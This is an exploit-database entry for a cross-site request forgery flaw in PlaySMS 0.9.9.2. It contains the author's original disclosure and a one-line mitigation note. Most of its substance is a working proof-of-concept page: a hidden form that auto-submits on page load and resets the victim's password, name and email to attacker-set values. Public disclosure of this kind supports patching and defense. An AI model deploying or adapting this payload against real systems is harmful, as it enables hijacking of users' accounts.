header-logo
Suggest Exploit
vendor:
PlaySMS
by:
Saadat Ullah
N/A
CVSS
N/A
Cross-site request forgery
352
CWE
Product Name: PlaySMS
Affected Version From: 0.9.9.2
Affected Version To: 0.9.9.2
Patch Exists: NO
Related CWE:
CPE: playsms
Metasploit:
Other Scripts:
Platforms Tested: Apache/2.2.15 PHP/5.3.3
2013

PlaySMS <= 0.9.9.2 CSRF

Playsms is an open source SMS management system that suffers from Cross-site request forgery. An attacker can manipulate user data by sending a malicious crafted URL. Playsms does not use any security token to prevent CSRF, allowing manipulation of any user data.

Mitigation:

Implement CSRF protection by using security tokens.
Source

Exploit-DB raw data:

# Exploit Title  : PlaySMS <= 0.9.9.2 CSRF
# Date           : 2013/12/9
# Exploit Author : Saadat Ullah , saadi_linux@rocketmail.com
# Software Link  : http://playsms.org/
# Author HomePage: http://security-geeks.blogspot.com/
# Tested on: Server : Apache/2.2.15 PHP/5.3.3

# Cross-site request forgery

Playsms is an open source SMS managment system , suffers from Cross-site request forgery through which attacker can manipulate user data via sending him malicious craft url.

Playsms is not using any security token to prevent it against CSRF.You can manipulate any userdata.
PoC and Exploit to change user password:

<html>
 <body onload="javascript:document.forms[0].submit()">
<form  name="ex"action="http://localhost/playsms/web/index.php?app=menu&inc=user_pref&op=user_pref_save" method=post enctype="multipart/form-data">

		
			<input type=hidden size=30 maxlength=30 name=up_password value="admin">
		
			<input type=hidden size=30 maxlength=30 name=up_password_conf value="admin">
		
			<input type=hidden size=30 maxlength=100 name=up_name value="admin">
		
	
			<input type=hidden size=30 maxlength=30 name=up_email value="admin@gmail.com">



			<td><input type=hidden size=30 maxlength=250 name=up_address value=""></td>
	
			<td><input type=hidden size=30 maxlength=100 name=up_city value=""></td>

			<td><input type=hidden size=30 maxlength=100 name=up_state value=""></td>
		
			
			<td><input type=hidden size=10 maxlength=10 name=up_zipcode value=""></td>
	

<input type=submit class=button value='Save'> 
</form>
</html>

#Independent Pakistani Security Researcher